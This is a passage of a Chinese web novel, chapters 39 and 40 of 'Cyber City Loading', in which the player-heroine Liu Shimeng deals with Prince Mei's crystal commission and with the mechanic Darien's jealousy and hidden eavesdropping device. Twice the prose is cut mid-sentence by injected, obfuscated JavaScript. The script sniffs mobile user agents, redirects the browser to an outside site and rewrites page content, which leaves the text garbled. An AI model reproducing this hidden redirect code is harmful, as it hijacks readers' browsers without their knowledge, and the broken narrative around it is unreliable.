她倏然靠近了，带有香气的呼吸覆上他的唇瓣，在离他一寸远的距离停下，“我相信你不是罪犯，希望这个判断没有出错。” 言语在齿间蔓延，交缠。 最后，袂还是决定告诉柳莳萌一切。他用手撑住沙发，靠着边缘坐起身：“我是因为喜欢你才告诉你这些的，一般人我才不告诉她。” “黑市能卖出更高昂的价格。” 柳莳萌有些诧异，她无意识地压低声音，问道：“你……你也缺钱了？” 袂一愣，哑然失笑：“不，这是为了在最短的时间内筹措资金的一种手段。具体是什么……如果你知道哪里能找到大量的蓝钻晶石，或许我会告诉你。” “并且你也有的赚，金额大概是……” “五百万。” 【机械师“达里恩”隐藏数值+？】 *** “听说三日前，惑水之星的袂皇子抢了艘守卫飞船急匆匆跑去了云端之城。你人正在那里，我想我有必要向你打听一下这位小殿下。” “他有没有干些什么特别的事情？” 他的眼神飘向远处，布满旧茧的手抚过脖颈上的项链：“没有。” “他不怎么安分，但放心，目前还没有发生你所担心的事情。” “好吧，我知道了。”对方显然有些扫兴了。 “不过这很难说，务必密切注意袂皇子的动向，一有问题，随时向我汇报，Cadeaux。” 39. 赛博都市加载中10.1 【目前金额：七万】 五百万的金币固然诱人，但九千金币的损失更加让人糟心。 柳莳萌断开全息掠影后，展开双臂，向后靠在一张足以围住三层楼高的铁丝网上：“聆，你怎么没告诉我进出一趟全息交易所会花掉这么多？” 聆嘭地推开门，从房间内走出：“不可能不可能！在云端之城，全息掠影的进入和断开都是免费的。” “这不是出入全息交易所的花费。” “但是——” 她张开手掌，掌心下方出现了一条字母序列串，“在全息交易所内，只要完成了任意一笔交易，系统就会从中自动扣除百分之一的中介费用。” “记录显示：袂皇子将部分金额作为信任金，押在了主人手中。” “金额数值是九十万。” “与中介费扣除部分一致。” “你说什么？”柳莳萌咬住下唇，“他为什么要这么做？！” 她不太相信皇室能够出于对自己的信任这么做，但……柳莳萌的食指抵住下巴，垂头心道：如果对方是一个不按常理出牌的疯子的话，似乎还挺合理的？ 聆回答道：“信任金在记录中可以显示，但它其实是一次不完整的交易，类似于‘抵押物’。” “这通常是在双方未有历史交易，且委托人不清楚被委托人真实信息，但仍愿意相信被委托人的情况下‘交换信息’的一种方式。” “本机推测，二皇子通过这种方式获取主人真实信息的可能性极高。” “不过，对主人来说，能够获得二皇子的信息与一部分金额，就结果而言，我认为还算不错哦！”聆竖起大拇指，她的大蝴蝶结发卡闪光了两下，也变成了大拇指的样子。 “……是吗？” 柳莳萌对此抱持严重怀疑态度：我用得着获得他的信息？ 光是“玩家身份”就足够她把袂里里外外都扒干净了，更别提还有一个身份信息面板。 算了，不想他了。 “走！”柳莳萌牵起聆的手，伴随着轻快的旋律，她们从音乐阶梯跑下。 “我们先回红月，再做下一步打算！” *** 【上城区，红月，商店后门】 “回答呢？” 柳莳萌：我还在想。 “我让你代替聆看店，你乱跑去哪里了？” 柳莳萌：我不能说。 看着站在卷闸门口表情阴沉的达里恩，面对连番逼问，柳莳萌缄口不言，只是心虚地瞟向远处。任谁看了都知道那是即将大发雷霆的前兆，她的确擅离职守了。 “他们都只买前台的咖啡，不买别的。”她耷拉着木头脑袋，“我觉得无聊，就去周围转了转。” 柳莳萌毕恭毕敬地站好，闭上眼，双掌合一道：“我保证！不会再有下次了！” 但达里恩的脸色并没有任何好转。 这种感觉似曾相识，柳莳萌思考片刻，马上反应过来：达里恩和芳汀发火的模式简直如出一辙。他们都不是会气急败坏的人，而是克制地隐忍着，等候适当的时机，逼问出自己想要的回答。 她悄咪/咪睁开一只眼睛：我装的，下次还敢。 不对！后者生气比前者生气恐怖一万倍好吗。 柳莳萌从不惹芳汀发火，只是在论坛里看过一点游戏截图而已，她根本不知道要怎么应付这种场面。 讲真的，用身体偿还这“一招鲜”会管用么？柳莳萌拎着自己松松垮垮的衣服，心想。 不对！ 她迅速反应过来：我怎么能因为达里恩和芳汀有一点相似之处就移情别恋呢？我才不是这么花心的女人呢！ “你真的只是去周围转了转？”达里恩再次确认。 “是、是啊。”柳莳萌捏紧了衣服。 为什么她突然有些心虚？ “那好。”他反手指了指店内，“那你来给我解释一下这是怎么回事。” 顺着达里恩的手势往店内看，柳莳萌看见店内斜停着一辆黑色加长礼宾用车，车头气定神闲地停在里面，而尾部与超过一半的车身都露在外面。车门抬起，一位身穿黑西装的男人从座驾中走出。 袂站定后，他不紧不慢地整理了自己的衣服。 一身皮囊与全息交易所里见到的一模一样，这让柳莳萌假装和他第一次认识变得格外困难。 “啊……”袂抬头，看见了站在后门的达里恩。 柳莳萌猛猛摇头，希冀着袂千万别发现自己，就算发现她也千万别像认识她一样……可事与愿违，他看见向达里恩后立刻加快脚步，径直走了过来。 他招手打招呼：“请问你认不认识一个住在附近的星际猎手？” 达里恩淡淡地瞟了一眼身后。 “这段时间刚好认识一个。” 此时，柳莳萌就躲在达里恩身后，倏地揪紧了他的衣服，在他后背上写：来者不善，你别出卖我啊！ 但达里恩并没有告诉袂，“我需要先确认一下，你和她之间究竟是什么关系？” 袂眉头一皱，发现事情并不简单。 断开全息掠影后，袂凭借着交易记录看见了对方的地址信息。凭借着“第九区”与“红月”，袂很快来到了这里。但他也想过，对方的虚拟构建体不是本人，甚至性别也可能有所差异。 想找到这个人无疑如同大海捞针，但袂笃信：这个人在第九区里一定有熟悉亲近的人。 而通过面前的人，他就能找到她。 袂习惯性地将达里恩上下打量了一遍。他肩膀小幅度前倾，神经紧绷，手不自然地点了点肘，更令人在意的是……这股隐隐约约的敌意刺得他后背生疼。 他们关系匪浅，而单纯的交易关系又怎能让面前的这个家伙说出心里话呢？ 袂拇指摩挲下巴，心里起了坏心思。 “三个月前，我们分手了。” 柳莳萌：你？ “但我非常后悔，当时不应该过分怀疑她，还对她说出那种话。”他眼角有泪光闪过，表现得非常难过。 柳莳萌：我淦？？？ “你要不要听听看自己在说什么鬼话？”她气不过，撸着袖管子从达里恩身后走出来。 当着当事人的面造谣，这种事情她还是头一次碰见。 柳莳萌玩游戏最痛恨空口白牙胡乱造谣的人。她此生有过无数条底线，其中之一便是：造谣别人，她管不着；造谣到她姑奶奶暴躁柳如是头上，她今天就要匡扶正义，替自己正名！ 没想到想找之人远在天边，近在眼前，袂喜形于色。 “可算找到你了，亲爱的女士。” 他抓住柳莳萌的手，小声道：“我就知道交易信息不可能出错。” “你早说自己在这里，我就不必大费周折地找人问了。” 达里恩只是皱眉抿唇，没打算多说什么，毕竟，好朋友之间来往，拉拉手是一件很正常的事情。但当袂揽过柳莳萌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我的演技真有那么差吗？柳莳萌撇嘴心道，但当她走近后，想法立刻烟消云散。 “你先冷静一下……” 达里恩：“我很冷静。” “呃，真的吗？” “你怀疑我做什么？我没必要骗你。” 一脸平静的达里恩报复似的把袂推到了加长礼宾车的车门上，“哐当”一声，袂身后的车门掉了。想都不用想，这股力气绝对很大。 但达里恩又分出注意力瞥看他一眼，拍掉手上的灰尘，淡淡解释道：“看来这辆车的质量不怎么好。” 柳莳萌从来没见过达里恩出现“已读乱回”的情况，她断定：现在的他绝对不是一个能友好沟通的状态。 她终于明白了这种萦绕在心头的心虚感觉是什么。 ——是狗血黄金八点档！ 这不正是早出晚归的妻子不幸被丈夫撞见外/遇，遂怀疑其出轨，并连同假象对象捉奸在床的感觉吗？ 柳莳萌整个人慢吞吞地龟缩进衣服里，她冤，她枉，她心里比哑巴吃黄连还苦！ “他刚刚是在利用你呢，我们之间真的没有什么。”她的食指指尖犹豫着触碰上他的小指。 “你很快就会知道了。” 40. 赛博都市加载中10.2 【友情播报：恭喜你！你已成功在“新纪元”中收获了“第一桶金”。 目前活动完成进度：970000/10000000。 目前特殊任务进度：机械师“达里恩”隐藏数值，未解锁。】 进度播报消失后，活动面板出现了，但这一次它的表现不同寻常。 【这算多吗？还是少呢？】面板竟然向柳莳萌提问。 没有收到她的回应，它就开始自言自语。 【唔……这个问题确实有些复杂，作为参考，友情播报的垃圾程序已经晕零了。不过或多或少，这对死神代理来说应该都算是一笔可观的积蓄吧。 由于达成“第一桶金”成就，签到系统上线。每次签到，仅消耗10枚金币，死神代理即可获得一张※消耗道具「刮刮乐」，无日限次。 有时候合理使用积蓄，能够帮助死神代理更快地达成你想要的目的。 但，逆天改命真的能靠金钱实现吗？我很期待。】 柳莳萌：“……为什么不能？我命由我不由天！” 几秒钟后。 柳莳萌：“嗯，人还是要学会接受自己的命运。” 她严重怀疑面板在嘲讽。因为在得知这个消息的瞬间，柳莳萌消耗了一万金币抽了一千张刮刮乐。而结局是凄惨的，她喜获九百九十九次“拿来吧你”，其中一次则是“再来一张”。 幸好钱多，她耗得起。 柳莳萌将剩余的一张刮刮乐放进口袋，她死死盯着面板，目光如炬：“我可以不抽刮刮乐吗？我想抽你。” 【……】 【很遗憾，我不会有任何感觉。】 【不说这些了，我注意到死神代理的特殊任务进度为零，看起来特殊任务对死神代理来说有些困难，因此，可以破例给你一点点小提示。】 【提示词是「情感」。 达里恩在新纪元中的身份并非“死神”，而是“人类”。准确来说，是强大到格格不入，与所有人都不相符的异类。隐藏死神意味着：这样不同的身份不止一个。 ※多多亲近他。 情感于神无益，却是打开人类能力值面板的钥匙。但我告诉你的方法并不是唯一的。方法有很多种，只要找对合适的选项，就都可以达成相同的目的。】 遥远的世界之外，游戏之神发出戏谑的笑：“为何要这样戏弄她？” “什么？我不明白您的意思。” 主面板欠身，闭眼思考自己的种种行动轨迹，下达过的命令……一切正常，他认为自己没做错什么。 对于困难的活动任务，面板可以在必要时给予提示帮助。且死神代理很快就会意识到，相比起失败的无限次重来，永恒的时间才更像是一种惩罚。 神不语。 而后，神轻轻摇了摇头，注视着身前无数个形形/色/色的世界：“世界的本质是残酷的。” “虽然给予提示本身没有错，但若不是基于死神代理自己的判断，对她来说就是一种伤害。” “我想，我们都僭越了。” 久违的光电穿过主面板的身体，他已经很久没有对这位神感到无语了：“为难死神代理，这正是您的恶趣味啊。” 无论她如何选择，最终都会走向失控，在清醒中沉沦。 *** “喂！” “你醒醒！” 柳莳萌拍了拍袂的脸，看见袂悠悠转醒后，说道：“我没想到惑水之星的人竟然这么傻。你有我的信息，我当然也会有你的信息。” “不对，我现在应该称呼你为二皇子殿下了，对吧？”她微笑，眼睛弯成两轮银钩，“但二皇子殿下屈尊纡贵来到这里，总不可能是来玩的吧。” “快说吧，委托的剩余内容是什么？” 柳莳萌开门见山。 袂转动眼珠，眨巴两下，这张乖巧的巴掌小脸无论怎么看，都没办法与之前的艳艳女/郎联系在一起。 此前来自于她的所有威胁，就像奶猫竖起前爪一样可爱。 适应了一会儿，袂看了一圈发现周围没人，他才安心开口道：“我需要大量的蓝钻晶石，纯度越高越好。” “不过，这里面还有两个问题：一是我所乘坐的守卫飞船有严格的限载重，详细信息一会儿会通过交易订单发送给你；二是蓝钻晶石是宝贵的战略资源。” “云端之城表面上不会禁止蓝钻晶石的交易，但若是被人发现，他们就会派人抢先一步，垄断这一宝贵资源。” “好了，该说的我都说完了。”袂从口袋中掏出一只浅黄色的刺金钢笔，旋开笔帽，里面出现了一张纸。 “如果你确信自己可以做到，那就把这份‘保证书’签了吧。” 【已发现新纪元支线任务“皇室战争”】 【支线任务奖励：五百万金币，皇室势力好感度+1，死神代理可活动区域扩大至「惑水之星」】 【※面对袂递过来的保证书，你的选择是？ 「果断签署」「默不作声」 支线任务非强制，不做出任何回应即视为自动放弃。】 奖励如此丰厚，可这个任务名字引起了柳莳萌的警觉，她本能地察觉到，这是一个异常困难的任务。不，不对，这是一个千载难逢的好机会，她没有理由拒绝。 “成交。” *** 虽然离完成任务又近一步，但也相当于多了一个麻烦的任务，柳莳萌心中多了一份不安焦躁。 转身出门后，她看见达里恩靠在一辆松绿色的摩托车旁。他拿着扫描仪，端口弧光细细地扫过车身，但这种做法似乎没有什么意义。 奇怪…… “难道你在外面等我吗？”柳莳萌开口问。 “对。” 迈出几步，柳莳萌走近，发现他手上的扫描仪手柄被扭开了。漆黑的匣中，一根细小的黑线穿绕过洞眼铺设着，正中央搭载着一群组件和模块。 在看见弹出的信息面板后，柳莳萌倏然停住，一脸难以置信地看着他，“你……认真的吗？” ——这根本不是扫描仪，而是一个【窃听器】！ 柳莳萌后退一步：做梦都没想到有一天我会被监视。 明明看着就是对她毫无兴趣的样子，如今小心眼子漏出来了，不小心一看，嚯哦八百个。 他的表情依旧严肃，可柳莳萌已经惊慌失措到无法直视他那张木头脸了：乖乖，下一步该不会就是监/禁了吧？ 不要啊进度太快了！ 都到最后一步了，哪里还有给她亲近的空间啊！！！ 有这么讨厌吗……他心想。将柳莳萌的反应全部看在眼里，达里恩敛目，觉得自己是那个多余的局外人。是我做错了，他说不出话来。 如果真的朝着这个方向去想象，那个他好不容易找到的理由，让他变得奇怪的理由，就快要消失不见了。 达里恩抬眼看她，漫不经心道：“这不是针对你们。那个房间原本就有这种设备，只不过之前一直是别人在使用，现在我碰了，仅此而已。” “你为什么要这么做？” “我不是说过了你很快就会知道了吗？” 他若是感到好奇，大可以开口来问，而不是选择这种方式。柳莳萌抿紧唇，心中冒出一股无名怒火。她觉得达里恩变成人类之后学坏了。 说谎。 不是针对？怎么可能。 根据她以往对达里恩的了解，他从未无理取闹过，柳莳萌倾向于事出有因，“你救过我几次，我知道你是不会害我的，你说清楚，我相信你。” 达里恩闻言一愣：她相信什么？ “你说啊，还是说你没听清楚？”柳莳萌靠近他，他们像两个说悄悄话的人，挨在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357982|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起，“你说什么我都信。” 【机械师“达里恩”隐藏数值+？？】 “因为……想更快知道你们之间的‘秘密’。” “你知道吗？熔炉之心是一种罕见的机械义体，但是，如果往接口注入蓝钻晶石，就能够造成能量脉冲波。”他摊开手，掌心静静躺着一块从袂口袋中掏出的蓝钻晶石。 与她所见过的不同，上面的纹路并不是浅蓝色的。 柳莳萌碰了一下，蓝钻晶石立刻破碎了，明显使用过：“哦，难怪他刚刚突然不动了，原来是被你用脉冲波给揍了一顿。” “是这样的。虽然我不是专业鉴定师，但至少懂点原理：蓝钻晶石是一种纯度越高，能量就越高的原材料。” 达里恩收回手，将它碾成粉末：“高纯度晶石，这可不是随便什么人能搞到的东西。” “那个人极其危险。况且以我们之间的关系，就算我问你，你也不会什么都告诉我。” “啊……？” “我会告诉你的。” 【机械师“达里恩”隐藏数值+？？】 柳莳萌凝望着他发呆的眼眸，心想——简直荒谬。他明明可以直接说‘我在担心你’，却七拐八转地说了这么多。 在知道达里恩的身份是人类后，他的拧巴行为在柳莳萌眼中变得合理了许多。 失去果敢变得敏感会大大增加攻略难度，不幸中的万幸是，柳莳萌玩《与死神同行》没少接触这种情况，应付起来已经得心应手。 银黑色死神天然抱拥人性，在玩游戏的时候，他们的阵营时不时就会出现魂穿人类，性格神经质，疑神疑鬼闹着要分手的苦情剧情。 看不见的隐藏数值在她眼前疯狂乱跳，证明他们此时的亲密度并不高。再一就是，活动面板刚才的提示，暗示了她还需要多亲近达里恩一些，也能够说明这一点。 算了，这大概只是她的一种思春期错觉而已。可能她还需要继续加油吧。 柳莳萌叉腰生气道：“你打乱了我原本的计划。” “我本来是打算等袂离开后就全部告诉你的，但你使用这种手段偷听我们的对话，所以，即便你现在问我，我也什么都不想说了。” “呃……你不想说就不说。”达里恩艰难地偏移开视线。 傻眼，想知道还说这种话，怎么这么怂？柳莳萌干脆坐在摩托车上，强硬地捧过他的脸，正色道：“问我为什么。” “……为什么？” “这不公平。”她微微一笑，“我的事情可是私事，偷听就是侵犯了我的隐/私，和里面那位半斤八两，不，是比他干的事情还要过分。” “你……”达里恩的眉心间缓缓蹙起一道极浅的褶，“你拿我和他比较？我还比不过他？” 【机械师“达里恩”隐藏数值+？？？】 他怎么还在和袂较劲呢，柳莳萌隐隐预感不妙。无论袂是谁，他都不重要。她微张开口，想着这之后的某一天，自己必定会后悔今天说过的话，但她还是要说。 就是因为像个呆板的笨蛋一样搞不清楚重点，在游戏里才会人气垫底的啊。这不是一个好习惯，作为资深乙女游戏人气角色单推玩家，她就来帮达里恩改掉这个坏习惯好了。 “是啊。”柳莳萌点头，“我可伤心了。” 她双手掩面，努力挤出一丝声嘶力竭的哭腔：“你不信任我，这是你干过的最过分的事情。” 透过手指缝，柳莳萌看见对方明显慌了，她的舌尖舔了舔牙，趁着达里恩六神无主，话锋一转。 “话说到这，之前你欠我的一个人情貌似还没有还清呢，加上现在欠的，想必应该是还不清了吧。” 达里恩：“？” “继续问我。” “你到底要干什么？” 这次不用她手把手教，达里恩也知道自己应该要问什么了。